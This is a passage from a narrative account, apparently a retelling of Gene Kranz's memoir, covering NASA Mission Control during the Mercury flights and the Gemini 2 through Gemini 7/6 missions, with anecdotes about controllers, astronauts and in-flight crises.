Glenn rattled off readings, Kranz couldn’t resist smiling. He wasn’t the only one who was nervous. But there was an overtone of victory, as well, and he resisted the urge to yell, “We’ve got an American in orbit!” NASA had really come a long way since “The Four Inch Flight.”  Glenn’s reports could have been mesmerizing if Kranz didn’t have a job to focus on. He reported a spectacular sunrise, and then the glittering “fireflies” surrounding his spacecraft. Those fireflies would turn out to be drops of frozen water from the spacecraft. Kraft was less than impressed when Kranz relayed that to him. “Keep me advised.”  The first orbit came to an end with no problems worse than a slight increase of temperature in the cabin. Then, Kraft dropped a bombshell on Kranz: “Shorty Powers has confirmed that the President will make a call at the end of the first orbit. Get with the communications people and make sure everything is set up.” Kranz didn’t like that very much. He felt that it could have been arranged in advance. Kraft only replied, “The President is the boss.” As it turned out, the audio technicians were better informed than he was and had been expecting the call.  Alan Shepard told Glenn, “Seven, this is the Cape. The President will be talking to you.”  Glenn was as surprised as Kranz had been. “Ah, the President? This is Friendship 7, standing by.”  They had trouble patching the President through. The techs gestured to each other for assistance as they stammered out, “Hello, Mister President!” In another part of the room, the man monitoring the spacecraft’s systems got Kranz’s attention. “I don’t know what to make of this, but I’m showing an indication of Segment 51.”  This was more serious than the President’s phone call. Segment 51 was the impact bag deploy. If that had somehow come undone, the heat shield was loose and John Glenn would burn up when he reentered the atmosphere. As they tried to track down the indication, the chief audio technician had the unfortunate duty of telling the president, “We’ve gotten pretty busy down here!” The president answered, “Give me a call when you get the chance.”  Some of the readouts suggested that the Segment 51 was a false alarm, but they couldn’t be certain. Glenn was troubleshooting some attitude control problems while Mission Control tried to make sense of the data they were getting from the remote sites. Only about half those sites were seeing the Segment 51. Some of the design techs suggested making sure the landing bag switch was off and asking Glenn whether he had heard any banging noises when he maneuvered. Walt Williams and two of the designers joined Chris Kraft at his console and suggested leaving the retropack on during reentry in the hope it would keep the heat shield in place. Kraft was convinced it was a false reading and didn’t like that very much.  Williams asked, “If we come in with the retropack attached, what’s the worst that could happen to us?” Kranz could imagine Glenn’s response if he could have heard that question: “What do you mean, ‘us’?” After a little more discussion, it was decided that they would keep an eye on it, but not to tell John Glenn because they didn’t want to worry him. Leaving the retropack on could work, but only if all three retro rockets fired on time. If they didn’t, there was a chance one of the rockets could go off during reentry and kill Glenn.  The last orbit was the worst. The controllers had no new data and they were trying to troubleshoot without letting Glenn know that he could be in serious trouble. Glenn figured out that something was up anyway and tried to get them to tell him what it was. When he returned to dry land, he would tell the controllers exactly what he thought of not having all the information available. As it was, Glenn’s response to the retropack plan was pretty tart: “What is the reason for this? Do you have a reason? Over.” Shepard finally told him that they weren’t sure whether the landing bag had deployed.  All three retro rockets fired on time and, as Glenn reentered, the Friendship 7 was surrounded by an ion buildup that blocked radio signals. It was a tense wait for the people in Mission Control and those watching the live coverage of the mission. Finally, the spacecraft was spotted by the recovery ship USS Noa. John Glenn was brought on board to the cheers of the Noa‘s crew and got a taste of the nation-wide celebration to come when his route back to Cape Canaveral ended with an impromptu parade through the nearby Cocoa Beach. The telemetry readings of the Segment 51 would turn out to be false. The comrades in Mission Control celebrated with a big bash that night.  Mission Control’s transfer to Houston was getting into high gear and Kranz sent out one of Control’s new recruits, Manfred “Dutch” Von Ehrenfried, as a real estate scout. Kranz’s only conditions were that the housing be affordable and that the down payment not be more than $250. The part of Houston that Von Ehrenfried found for them came to be known as Flight Controller Alley.  The Manned Spacecraft Center (MSC) was also growing in size, from 750 to 1800 employees in three months. Many of these new people were brand-new graduates from colleges around Texas. A basic training course for flight controllers was set up. The first class of six spent two weeks’ worth of twelve-hour days learning learning Morse code and speed printing. Kranz handed out their flight controllers’ certificates himself, and then the first class went out to the remote sites. A few of the controllers posted in unfriendly territories like Zanzibar had military experience that served them well when they ran across such obstacles as burning roadblocks and hostile natives. Some of the new mission controllers served only one or two missions, decided the responsibility was too much for them, and moved on to other careers. Others didn’t want to relocate from Virginia. Those who stayed had a chance to move up the ladder and be reassigned back to the friendlier Houston.  By the end of the Mercury Project, there were only 50 controllers left in Florida. Houston proved to be a friendly host city, even naming their baseball team the “Astros” in honor of the astronauts.  Aurora 7  Deke Slayton was slated for the very next orbital mission with Wally Schirra as his backup. Things were going reasonably well until Slayton was making a centrifuge run and the physician detected a minor heart fibrillation. He stopped the run and reported it. Even then, Slayton didn’t expect problems. He had made test flights in the F-105 without any trouble and didn’t expect this to be any more serious.  It didn’t turn out that way and Slayton was yanked from the flight. Normally, Wally Schirra would have stepped up to the plate as his backup, but they gave the flight to Scott Carpenter instead. At first, Kranz thought Slayton had been pulled off the flight because he complained too much about the experiments he was supposed to perform on the flight. When he found out the truth, he chalked it up to the fact that if you asked enough experts, you would eventually find one nay-sayer. Slayton took charge of the astronaut corps, an important job that must have felt like a consolation prize.  Carpenter swung right into preparations and named his spacecraft the Aurora 7. The flight date was changed to give him more time for training. The Friendship 7 had proven the value of having a man in control of the spacecraft and they hoped to expand on it with Aurora 7. The plan also included observations of the spectacular sunsets and sunrises that John Glenn has reported, as well as Earth and space.  Kranz was promoted to assistant flight director, second only to Chris Kraft in the control room. Other changes to the control room personnel included the addition of Llewellyn at the Retro console, responsible for monitoring the firing of the retro rockets just before reentry. Llewellyn would be replacing Carl “Dancing Bear” Huss, who was being moved to the Mission Analysis branch to take charge of designing lunar trajectories for what would become the Apollo Program.  The launch went off on May 24, 1962 at 7:45:16 EST. The first orbit looked good, with Scott Carpenter reporting that the temperature in his pressure suit was a little high. Everything else was nominal, the ground controllers at each remote station were on the ball, and Carpenter made the planned external observations. The fireflies, a mystery during John Glenn’s flight, were reported by Carpenter as “capsule emanating,” droplets of water being shed by the skin of his own capsule. Then, things began to go downhill.  During the second orbit, Scott Carpenter reported a disagreement between the attitude readouts and what he was seeing out the window. The people on the ground concurred and recommended resetting the gyros. This didn’t help, and Carpenter ended up wasting a lot of fuel trying to correct until they suggested that he simply coast until he was ready to start the reentry sequence. As Aurora 7 went into the final orbit, it became obvious that Carpenter would have to make a manual reentry. The Capcom at the Hawaiian station talked him through the checklist for retrofire.  In the meantime, he was still having trouble with the temperature on his pressure suit and, by the end of his third orbit, was starting to show signs of overheating. At one point, Chris Kraft snapped to Gus Grissom at CapCom, “Dammit, Gus, keep him on task. I think he’s delirious.” Though California gave him the countdown for firing the retro-rockets, Carpenter hit the button three seconds too late. He was going to land somewhere past the planned landing area. It was questionable whether he could even get into the proper attitude for reentry and he would have to use the fly-by-wire system to keep his spacecraft from tumbling.  Llewellyn resorted to high school geometry to determine that Carpenter was going to land at least 200 miles long. As Carpenter began coming back into the atmosphere and they lost radio contact, all the people in the control room could do was pray. Kranz had only felt this kind of helplessness when he held his wife’s hand during childbirth. Finally, Grissom caught Carpenter’s report that his chute had deployed and replied that they would get Air Rescue personnel to him within an hour.  Rescue personnel found an annoyed Carpenter munching on a candy bar. Carpenter was heard to comment, “I didn’t know where I was and they didn’t either.” That made Llewellyn mad. “That SOB is lucky to be alive.” From then on, whenever someone wanted to get Llewellyn to tell the story, all they had to do was repeat the line, “I didn’t know where I was and they didn’t either.” Kranz felt that a combination of a distracted crewman, too many scientific experiments, and ground crew taking too long to remind him of checklists had almost cost them an astronaut. They had gotten lucky, but Kranz wanted to eliminate luck as a factor in future space flights. In any case, Carpenter would go on to participate in Sealab and never flew a space mission again.  Wally Schirra’s six-orbit Sigma 7 flight was a success, with Capcom Deke Slayton providing a little comedic relief when he asked Schirra, “Hey Wally, are you a turtle?” Schirra recorded his reply, “You bet your sweet ass I am!” and then came back on the radio with a simple, “Rog.” Mercury was winding up for a grand finale with Gordon Cooper’s day-long flight. Bob Gilruth became director of the Manned Flight Center and began reassigning people to make preparations for Gemini and Apollo.  Simulation Supervisor Mel Brooks took charge of training and ran the flight controllers through their paces. Simulated missions were one thing the mission controllers had in common with the astronauts. Brooks would throw every imaginable scenario at them to see how they handled it. One time, the simulation supervisor (SimSup) decided Kraft was depending too much on Kranz and pulled him off. “Kranz had an accident on the way to MCC and is in the hospital,” SimSup told Kraft. Kranz protested, “What are you doing? We have a mission to prepare for!” Kraft was amused. “Looks like you’ve been benched.” Von Ehrenfried filled in as assistant flight director and did fine. Just before Cooper’s flight, he got a local hospital to provide an electrocardiogram of somebody having a heart attack, fed it into the simulation, and stood back and laughed up his sleeve while the physicians tried to figure it out. That taught the physicians that an astronaut might not have time for doctors to argue over the diagnosis. Brooks became notorious for his challenging simulations.  Kranz’s family was still growing. Marta gave birth to their fourth child, a boy, and the residents of Flight Controller Alley ganged up on Kranz to send him to her side while she was in labor. He would acknowledge that she was an extraordinary woman for sticking with him when he was spending so many long, stressful hours in the Mission Control Center.  In the meantime, the Atlas suffered two failures that needed to be sorted out before Cooper could go up in the Faith 7. The launch was pushed back again when the Atlas booster failed an inspection on the launch pad. The problems were solved and the booster passed a second inspection. The launch date for the final Mercury flight was set for May 15, 1963.  Cooper’s mission would last for 34 hours and 22 orbits. To cover it, Mercury Control operated in two shifts for the first time. John Hodge became flight director for the second shift and Kranz was assigned to his team as assistant flight director. Kranz had forgiven Cooper for the wild car ride on his first day of work and liked him for his fun-loving spirit. However, Cooper was not universally popular. A few people were hesitant about his Oklahoman accent, which made him sound like a back-waters country boy, and he nearly got yanked from the mission when he rattled nerves by buzzing the control center in a T-38.  The launch went off as planned at 8:04 AM EST. Things went smoothly at first, with Cooper ticking off his experiments on schedule and the shift change occurring on schedule as Faith 7 was progressing along its sixth orbit. Hodge had a different approach to mission control than Kraft did. Kraft was a very hands-on mentor of the young mission controllers and comfortable with his status as team leader. Hodge tried to obtain a consensus before making a decision, was good with people but didn’t seem quite so comfortable with his leadership role. Kranz remembered him as a nice guy.  Cooper made some celestial observations and took several pictures of Earth and celestial objects during a quiet period in his schedule, and then set a milestone of his own when he became the first American to sleep in orbit. His heart rate dropped low enough to alarm the physicians, who had CapCom wake him briefly to make certain he was okay. The team fell into a mode of relaxed alertness and kept an eye on things until Kraft’s team came back on duty.  During the nineteenth orbit, Cooper’s .05 G indicator came on. This would have meant that he had started reentry, but Cooper believed it was a false reading and disabled the fuses leading to it. This disabled an automatic system that would have been used for retrofire. Cooper would have to fire the retro rockets manually. Kranz made sure the new plans went out to the remote stations and set up backup communications with John Glenn, the capcom on the Coastal Sentry. It may have occurred to the control team that part of the reason Scott Carpenter had landed so far out of the planned recovery area was that he had fired the retros a few seconds late, but that was the biggest concern.  While going over the stowage and pre-retro checklists with the Zanzibar CapCom, Cooper reported, “My automatic control system inverter has failed. I’ll have to make a manual reentry.” Zanzibar asked, “Have you tried the standby inverter?” “Roger. It would not start.”  They continued with the checklist, and then Cooper made contact with Coastal Sentry: “Oh, my automatic inverter failed along with a few other odds and ends. I will shoot the retros on manual and then reenter manually also. I’m looking to get a lot of experience on this flight.”  Glenn’s response was a little sarcastic: “You’re going to get it.”  Glenn gave the countdown for the retrofire. Cooper made a nearly flawless reentry and, when complimented on a job well done, drawled in his Oklahoman accent, “Aw, shucks, we aim to please.”  The Gemini Project had the goals of developing many of the techniques and technologies needed to get to the Moon. Gemini demonstrated extra-vehicular activity (EVA), rendezvous and docking techniques and man’s ability to function in space for mission durations of up to two weeks.  The Gemini Twins  On the outside, Gemini looked like a bigger version of the Mercury capsules. On the inside, many of the systems had been streamlined. The interior allowed more space for the “twins,” two astronauts, who would be riding it, but would still be cramped. Gemini would make use of fuel cells and cyrogenics, storable propellants, and a rudimentary computer. The Manned Spacecraft Center was also being redesigned to make use of computers. Digital systems were also being installed at the remote tracking stations and the data network was upgraded to transmit data at 2.4 kilobits per second, which was considered high-speed at the time. A new influx of college graduates were brought in to maintain the new technology and bring the control team up to speed. Kranz had only limited experience with computers and had to scramble to catch up.  The residents of Flight Controller Alley spent almost two years preparing for the first Gemini launch and became a close-knit bunch in the process. One of Kranz’s contribution was a mock-up of a Gemini cockpit. He wanted his team to become nearly as familiar with the spacecraft’s controls as the astronauts would be. They would hold blindfold drills in which they reached for each switch until they could almost have flown the thing themselves.  The art of flight control was continuing to be refined and the control team spent many hours studying schematics and writing flight procedures and mission rules. Kraft made one change in the job description of the flight director. The description now said: “The flight director may, after analysis of a flight, take any action necessary for mission success.” This cleared up some vague terms in the previous job description and gave the flight director more leeway in directing the missions.  Gemini 2  Gemini 1 was a fairly straightforward test of the Titan rocket and mission control did not get involved until it was time to review the data. Gemini 2 would require controller support. Chris Kraft and Gene Kranz went out to Cape Canaveral in what they hoped would be their final trip for a launch. They shared a two-bedroom apartment to stretch the per diem they received from NASA. The goal of the mission was a test of the Titan’s propulsion and guidance system. It would be a simple suborbital shot similar to the first two manned Mercury missions and they deployed two ships downrange to help monitor the mission.  Problems developed in the thrusters and seat tests and Kraft dived into the task of insuring that the control team was ready for any contingency. He was still the senior flight director and gave Kranz the authority to do the same with his team. Kranz assured him that he was already on the job. Then, Kranz got his first real test in his new role of flight director when Kraft became practically bedridden with influenza six days before the launch.  The job of handling the final simulation, pad tests and pre-launch briefings fell on Kranz’s lap. There was a chance that Kranz would have to step into Kraft’s place for the launch and he was so nervous that he clipped out a Sports Illustrated picture of a woman in a swimsuit for emotional support. Kraft recovered enough to cover the actual launch and Kranz stepped back to his original role of insuring that the control teams and data network were ready. It was one of the few unmanned shots covered by reporters in the control room and Kranz thought it was a bit much for an unmanned suborbital shot that had become nearly routine in the Mercury days. There were so many cameras in the room that a fuse blew, plunging them into darkness. This was where blindfold drills came in handy. Kranz worked by feel and the mission came off reasonably well for the fact that they weren’t really prepared for a power failure in the control center. The Manned Spacecraft Center in Houston adapted its electrical systems so that wouldn’t happen in the future and camera crews were required to provide their own power when covering future space missions.  Tug Of War  Even though everybody in NASA had the same goal of going to the Moon, there were frequent disagreements about how to get there and who was in charge of what. Mission Control got into a tug-of-war with the astronaut office over who, exactly, was in charge of the remote stations. Since Alan Shepard’s flight, it had become traditional to assign astronauts in the role of Capsule Communicator, the one who would have direct contact with the spacecraft in flight, both in Houston and at the remote sites.  Though Deke Slayton had been forced into a purely administrative role after being grounded, he was still an astronaut at heart and believed that only astronauts could handle the time-sensitive decision making and communications involved in the role. His belief was shared by Alan Shepard, who was similarly grounded with a debilitating ear condition and worked closely with Slayton. Most of the astronauts who were actually sent out to those sites felt the same.  Mission Control believed otherwise. Kranz, in particular, felt that the astronauts’ proper role at the remote sites was as observers and assistants. Five days before the launch of the first manned Gemini, Astronauts Pete Conrad and Neil Armstrong went out to the remote sites at Carnarvon and Hawaii, respectively. Once Pete Conrad got to Carnarvon, he encountered Dan Hunter, who was in charge of the station. Both were equally strong-willed and it would lead to a showdown that would provide greater clarity of the roles of both Mission Control and the Astronaut Office during the flight.  The trouble started while Kranz and Kraft were still in Florida after Gemini 2. Deke Slayton was in town, too, and received word that Conrad and Hunter had gotten into a heated argument over who was in charge. Hunter had threatened to kick Conrad out of the station for butting into his turf and the hapless station crew sent a message asking for clarification about whose orders they should follow. He went straight to the apartment where Kranz and Kraft were staying. They had fallen asleep, but the banging on the door woke them right up. Slayton shouted, “Chris, we got a problem!” Kranz threw on some clothes and, by the time he got out there, Kraft and Slayton were about ready to duke it out. “Dammit, Chris, get your guy under control!” snarled Slayton. Somehow, they kept it to mere words and talked it out until three in the morning.  They cut a deal that would work for the short-term. Hunter would be in charge of the station, and Conrad would be in charge of real-time operations during the mission. Kranz had the changes Teletyped out to the remote stations in Carnarval and Hawaii. Hunter didn’t seem to know when to back down and, the day before Gemini 3 was due to launch, gave Kranz a message to relay to Kraft. “This message doesn’t resolve anything. I am going to have it framed and hanged on the wall of my bathroom.” Chris Kraft’s patience was gone. “You have your orders, young man!” If Kraft had his way, Hunter wasn’t going to have much of a future in Mission Control.  At the customary party on the evening before the launch, the tension between Kraft, Kranz and Slayton had spread to the rest of the controllers and the astronauts and there was none of the usual mingling. Llewellyn had too much to drink and tried to start a fight with Alan Shepard. Kranz intervened and got him out of there. The Gemini 3 crew, Gus Grissom and John Young, had been unaware of trouble before the party but it wasn’t hard to figure out that something was up. Kranz decided that this was no way to run a mission.  The first manned Gemini mission launched on March 23, 1965. Though the official documentation called it Gemini-Titan 3, Gus Grissom had named the spacecraft the Molly Brown. NASA Public Relations hated it but the name was all over the newspapers after the Houston Capcom gave them the send-off, “You’re on your way, Molly Brown!” The mission was a success. After Grissom and Young splashed down, Kraft went to Slayton and cut a deal. The astronauts would be in charge of the spacecraft and Mission Control would be in charge of the mission. Hunter was transferred to the Goddard Space Flight Center and became the Madrid tracking station manager during Apollo. During the post-mission debriefing, Kranz got up on the stage and gave a speech about discipline and control. Thinking back on it years later, Kranz conceded that it was a wonder that more fistfights didn’t break out during the race to the moon.  Ready For EVA?  While celebrating the success of Gemini 3, Kranz heard through the grapevine that the Russians had scored another space first with an EVA by cosmonaut Aleksei Leonov. It seemed like the U.S. couldn’t score a space first for anything and Chris Kraft seemed distracted when Kranz delivered a report on the Gemini 3 mission to his office.  When Kranz finished giving a verbal summary, Kraft walked across his office and closed the door. “I hope you’re ready as a flight director for Gemini 4 because there’s a job I want you to do for me.” Gemini 4 was already a packed four-day mission and NASA chiefs had decided to add an EVA by Ed White. Kraft wanted Kranz to work with the Crew Systems Division on planned altitude chamber tests and put together the mission rules and data packet for America’s first spacewalk. Kraft was pacing. “This is risky, but I think it’s worth a shot at getting a spacewalk on [Gemini 4 mission commander] McDivitt’s mission.”  Making the job even more difficult, Ed White knew about the possible EVA before most of Mission Control did. Kranz would have preferred the chance to brief remote site teams before the flight but was told, “No briefings.” The remote site CapComs were given sealed envelopes that would only be opened if given specific instructions from Kranz. They contained only a brief note addressing the EVA, plus a planned rendezvous with the booster after separation. Kranz prepared for his Gemini 4 flight director duties during the day and worked on the EVA at night. The EVA ground team reviewed footage of Leonov’s spacewalk and inspected hardware being developed for White’s EVA with the goal of having everything ready two weeks before the scheduled launch date.  In the meantime, Marta had given birth to their fifth child. Their house in Flight Controller Alley had become too small. With Gene Kranz at work most of the time, she had to prepare for a move to Dickinson, Texas, alone. It was her idea to make him a white vest representing his team’s color that he could wear when leading the White Team during a mission. He agreed to give it a try.  Gemini-Titan 4  This would be the first mission featuring three shifts in Mission Control. John Hodge’s Blue Team manned the control center until the crew woke up, and then Chris Kraft’s Red Team took over and went through a nearly flawless countdown. They had only one pause to fix a glitch in the erector holding the rocket in a vertical position. Gemini 4 launched at 10:15:59 am on June 3, 1965.  When the Titan burned itself out, McDivitt separated the Gemini from the Titan booster on schedule. He turned the Gemini around and accelerated toward the spent booster. A few minutes later, he reported that the booster was moving away from the Gemini in a lower orbit.  It was a quick lesson in orbital mechanics. By accelerating toward the Titan, McDivitt had boosted the Gemini into a higher orbit and lost ground speed. To catch the booster, he would have had to drop into a lower orbit and gain ground speed. That was counterintuitive to a pilot used to the idea that he had to accelerate toward the object he wanted to rendezvous with. After another attempt to rendezvous with the booster, Kraft decided that they should give it up.  In the meantime, Ed White was preparing for his EVA. This would mean exposing the entire interior of the spacecraft to vacuum. There would be nothing between the astronauts and instant death but their thin space suits and helmets. The team decided to give him an extra orbit to get through his checklist.  No one knew what to expect. Deke Slayton had told McDivitt that if White was having problems outside that could endanger both of them, he should simply close the hatch and come home. Nobody really expected him to obey. During the third orbit, Gemini 4 was given the Go to depressurize the spacecraft.  While the air in the spacecraft was gradually reduced, McDivitt and White performed final checks on their spacesuits. An inflated pressure suit was like a balloon with a man inside and White had difficulties getting through the hatch. He made it, though, and cavorted around the Gemini with only a thruster gun to manuever. He was obviously having a good time as he made observations on the Earth and space. Twenty minutes sped by fast and both the ground team and McDivitt prompted him to begin thinking about getting back into the spacecraft.  McDivitt told him, “Come on, let’s get back in here before it gets dark.”  White reacted like a kid told to come in for supper. “It’s the saddest moment of my life.”  “Well, you’re going to find it sadder when we have to come down with this whole thing.”  “I’m coming.”  White came back through the hatch and they wrestled to get the hatch closed. It had lost its flexibility in the cold of space. Mission Control had planned to jettison the now unnecessary EVA gear but decided not to press their luck. With that done, Chris Kraft turned the flight director’s chair over to Gene Kranz. “Young man, it’s yours.”  Kranz donned his white vest for the first time to a mixed reaction. Von Ehrenfried rolled his eyes and couldn’t resist needling his boss. “If you’re not careful, they’re going to haul you away and then I’ll be in charge.” The needling didn’t stop there. Kranz suddenly found himself the center of the closed-circuit TV cameras and several controllers commented, “Nice vest, Flight!” The next day, pictures of Kranz in his spiffy white vest were featured in newspapers across the country.  There were a few unresolved items and glitches, informally referred to as “funnies”, in Kraft’s logbook. They were minor items and easily resolved, and then Kranz turned his attention to preparing Gemini 4 for drifting flight so the crew could get some sleep. Direct contact with the spacecraft would be sporadic as its orbit took it into areas not covered by the tracking network. Kranz’s team spent most of this quiet time to do a more in-depth analysis of the spacecraft’s systems and orbital trajectory.  Llewellyn had taken charge of the flight dynamics team. His team made use of a pneumatic tube system for sending messages to other controllers and computer operators. The aluminum cylinders reminded him of his days as a Marine. He exclaimed to nobody in particular, “I think I am back in the trenches again with my fire control team, surrounded by empty 105 howitzer canisters!” From then on, the Flight Dynamics team was referred to as “The Trench” and it wasn’t long before “The Trench” matchbooks were circulating.  In the meantime, Llewellyn’s team was busy working on orbit trajectory propagation. Their job was to keep track of the spacecraft’s orbit and forecast where it would be hours or days in the future. This was critical for planning maneuvers like rendezvous and Gemini 4 was their first real test of their ability to keep track of variables like atmospheric drag.  Kranz’s first shift in Mission Control passed uneventfully and he handed the logbook to John Hodge. He hung his white vest on a hook, his thoughts racing ahead to the news conference he now had to face. Though NASA’s public-relations officers were not universally popular and often hated by the astronauts, Gene Kranz thought they really earned their pay when dealing with the press conferences. This press conference did cause one lingering misconception about Kranz. The blurbs about the flight directors in the press release said he looked like a poster boy for the Marines. The press ate that one up and, from then on, Kranz felt like he was forever explaining that he was Air Force, not Marines.  He found a place at MCC to sleep until the end of the mission. If he needed an assist to wind down, he could go to the doctors for a double shot of whiskey to put in his coffee. He found out fast that whiskey and coffee were not a good combination. Other controllers didn’t like the idea of relying on drugs to get to sleep and did without. Gemini 4 splashed down on June 27 after a successful mission. Marta was happy that her white vest had gone over so well and Kranz had an idea that she could make a more flashy vest he could wear at the end of a mission to signal his team that they had done a good job.  Gemini-Titan 5  Kranz’s team came up with a surprise for him in the form of an American flag he could keep in his office and bring down to Mission Control at the beginning of each mission. It saw its first use on August 21, 1965, at the launch of Gemini-Titan 5, an eight-day mission set to beat Russia’s endurance record and put the U.S. in the lead.  The crew was Gordon Cooper and Pete Conrad. Cooper had come up with the slogan “Eight Days or Bust” for the mission. The public relations department didn’t like that very much and suppressed it until after the mission. Conrad had recovered nicely from his spat with Hunter before Gemini 3 and Kranz liked his intensity and honesty. It turned out to be a good match for Gemini 5.  The oxygen flow to the fuel cells dropped to alarming levels during the first orbit. Thinking fast, the crew abandoned the planned rendezvous maneuver and powered down equipment. Kraft could have aborted the mission right then, but decided to give it a few more orbits to troubleshoot and see if the oxygen levels began to level out. To be on the safe side, Kraft had recovery teams redeployed to emergency landing areas. The White Team began to move into place to back up Kraft’s Red Team. The fuel cell situation began to stabilize, but it was obvious that they weren’t able to operate at full power and some of the experiments were canceled.  Kraft wanted to go for a full day and began preparing for the handover. Kranz expected a normal handover routine in which they would go over any outstanding issues. Kraft was eager to get to the press conference and abruptly put his headset away. Kranz didn’t know if he had a plan. “Chris, what do you want to do?”  “You’re the flight director; it’s your shift. Make up your own mind.”  Kraft was handing him another test. Gemini 5 was going to fly through a zone of poor coverage in the ground network and Kranz had an important Go/NoGo decision to make. Systems engineer John Aaron had helped design the fuel cells and suggested running a load test. Kranz had the crew power up and then send an oxygen purge through the fuel cell. This would hopefully get rid of excess moisture and impurities in the cell. He timed it so that, if something went wrong, they could run on batteries until they could get to a convenient spot to start reentry. The fuel cell held up to the load test and Kranz watched the oxygen flow to the fuel cell begin to increase gradually. By the time Hodge’s Blue Team took over, they had worked out a plan to power up systems incrementally for the next few days. His team’s handling of the crisis convinced Kranz that he was now a full-fledged flight director and, at the press conference at the end of the shift, he featured Aaron as the real hero for saving the fuel cell.  The mission made it almost the full eight days. Kranz was forced to cut it one orbit short during his final shift so the crew wouldn’t fall into a hurricane during reentry. This gave him a perfect opportunity to pull a fast one on Llewellyn. Scott Carpenter had just started his thirty-day Sealab mission and Llewellyn hadn’t forgotten his line, “I didn’t know where I was and they didn’t either.” Kranz recruited FIDO, RETRO and CapCom as co-conspirators and told them that he wanted to convince Llewellyn that the countdown for the retrofire would come from Sealab.  Llewellyn came into Mission Control to start his shift and FIDO pretended to be so focused on his job that he didn’t even respond to Llewellyn’s greeting. So he asked RETRO what was going on and RETRO answered, “It’s this dad-blamed test from Sealab. It doesn’t make sense.” Llewellyn got curious and asked Kranz. Kranz had a hard time keeping a straight face as he explained, “We have orders to patch communications through to Sealab so Carpenter can give the countdown for the retrofire. I argued with Kraft about it but he says, ‘Do it!'”  Llewellyn was furious and inadvertently pulled Dave Scott into the gotcha by telling him all about the fictional test. Scott blew up and threatened to quit the program if this was the kind of crazy decision he could expect during a mission. Kranz let them both dangle for a few more minutes before explaining that it was all a joke. Kranz had taken up Judo at Llewellyn’s invitation and realized that the evening’s match was going to be an especially rough one.  Gemini 5 splashed down with a duration record under their belts and Mission Control began to look ahead to their first attempt at rendezvous and docking. The planned star of the show was an automated spacecraft called Agena. Some of the MCC controllers were less than impressed, especially after one ground test in which faulty software sent every available command to the Agena. If this had happened during an actual mission, they would have been in big trouble. Their disparaging comments would turn out to be accurate.  Gemini 6  October 25, 1965 looked like a beautiful morning for the planned double launch. The Agena would go up first to set up the conditions of the rendezvous. Wally Schirra and Tom Stafford waited in their Gemini for the second launch. The Agena launch went smoothly. The Atlas booster separated from the automated spacecraft on schedule and the Agena lit its engine. Then, the data on FIDO’s console stopped updating. They had lost contact with the Agena.  The Gemini 6 countdown continued until Range Safety reported debris falling into the ocean. When it became obvious that the Agena had exploded, Kranz’s team decided that there was no point in launching the Gemini and called it a day. That evening’s Judo match gave both Kranz and Llewellyn a chance to vent their frustrations, and then they retreated to the Singing Wheel. This was the controllers’ favorite bar, where they celebrated successes and mourned losses. For a little while, it looked like Gemini 6 wasn’t going to happen. Then, somebody had an inspired idea. Gemini 7 was going to go up before too long. Why not make it the target vehicle for the Gemini 6 rendezvous?  Though neither side in the Space Race had mastered rendezvous yet, the Russians had already demonstrated their capacity for running two missions at once. Could the Americans do the same? They were certainly going to find out and Gemini 6 and 7 came to be known collectively as Gemini 7/6.  Gemini 7/6  Some people at the Cape weren’t too thrilled with the idea of a dual mission, mostly because it added quite a bit of complexity to their normal work. MSC chief Robert Gilruth was a quick convert and a review by Kranz’s team revealed no problems that they couldn’t solve or work around. The Gemini 7 crew, Frank Borman and Jim Lovell, welcomed the idea. They were up for a two-week mission in a spacecraft that wasn’t very big and the rendezvous would give them a break in the monotony.  The plan was to launch Gemini 7 and promptly swing into action to prepare the same pad for the launch of Gemini 6. The pad and the surrounding area would be checked for debris. The pad would be checked for damage, and then the Titan with the Gemini 6 spacecraft on top would be brought out to the pad and inspected. If everything went smoothly, Gemini 6 would launch one week after Gemini 7.  Mission deployment began on November 21 and SimSup began running the controllers through their paces. For all his inventive simulations, there was one “gotcha” that he wasn’t responsible for. Somebody got the idea that the man in charge of Hawaii, named Ed Fendell, could fake a heart attack during training. The goal was to see if the backup team were capable of jumping in if something happened to him.  During the final dress rehearsal for network simulation, Fendell crumpled in a heap as planned. It was such a convincing act that the rest of the Hawaii team were momentarily distracted. Bucholz plugged into the voice loop to Houston. “Chris, Fendell just had a heart attack!”  Kraft probably remembered the time SimSup had told him that Kranz had gotten into an accident on the way to the Center. “Is this your doing, SimSup?”  “Not mine, Flight!” Kraft told Hawaii to inform the Houston surgeon of Fendell’s condition and kept his team on task. Bucholz stepped up to the job beautifully. When it was over and Fendell rolled to his feet, a startled but relieved Hawaii team wondered how tell Kraft. Kraft wasn’t very happy but acknowledged the “gotcha.” Bucholz had passed his test and went on to critical ship assignments for the rest of Gemini.  Gemini 7 December 4 1965  There wasn’t a single controller who didn’t sympathize with Borman and Lovell. The Gemini spacecraft was so small that they would effectively be confined to their seats for two weeks. If they hadn’t been working in weightless conditions, they would have inevitably developed pressure sores. They wore lightweight suits designed only for use inside the spacecraft. Theoretically, they should have been able to get into those suits in less than twenty minutes, but in reality, it took about an hour. Space food was still so unappetizing that no one who had actually tasted the stuff blamed John Young for smuggling a corned beef sandwich on Gemini 3. Kranz compared it to a camper’s worst nightmare and led efforts to keep the crew’s morale up during the mission.  The launch of Gemini 7 went smoothly and the ground team wasted no time. The Titan booster for Gemini 6 was on the pad within two hours. Borman and Lovell successfully rendezvoused with their own booster and flew in formation for a while. Then, they got started on medical experiments.  The suits might have been lightweight, but Borman and Lovell had a repeat of Scott Carpenter’s suit heating problems during Aurora 7. When the crew reached Day 3 with little relief, Lovell stripped off his suit. Mission Control wanted to let both of them remove their suits when medical data showed that Lovell was sleeping better, but NASA management refused to allow it. Control even tried playing the media card and told the press that the crew risked overheating in those suits to no avail. Borman and Lovell had to take turns wearing the suits.  NASA procedure also called for nearly all communications between the crew and the ground to be available to the press. To allow for limited private communications, Mission Control worked out a workaround code called UHF-6. If either the ground or the crew requested a UHF-6 test, a private loop would be set up with a surgeon in the back room and the surgeon would privately brief the flight director afterwards. The press was typically nosy, however, and Kranz tried to give them a runaround with highly technical jargon about communications and antenna. That failed and he was forced to admit defeat.  With the Gemini 6 launch coming up, all the controllers were pulling exhausting double shifts. Llewellyn got himself into trouble when he went home to sleep. When he didn’t show for White Team’s next turn in the control room, Kranz had the previous shift’s RETRO give him a call. Llewellyn raced to work and, without thinking of the possible consequences, drove his car across the lawn and up the stairs. Perhaps he thought he had found the perfect parking place at the building’s main entrance, but security personnel weren’t amused. Lunney and Hodge had his parking pass suspended and told Kranz, “Llewellyn has got to learn a lesson. Having to walk on site will maybe put a dent in his thick skull.” Kranz doubted it and Llewellyn proved him right when he showed up with his own horse the very next day.  Whenever Gemini 7 flew into gaps in ground 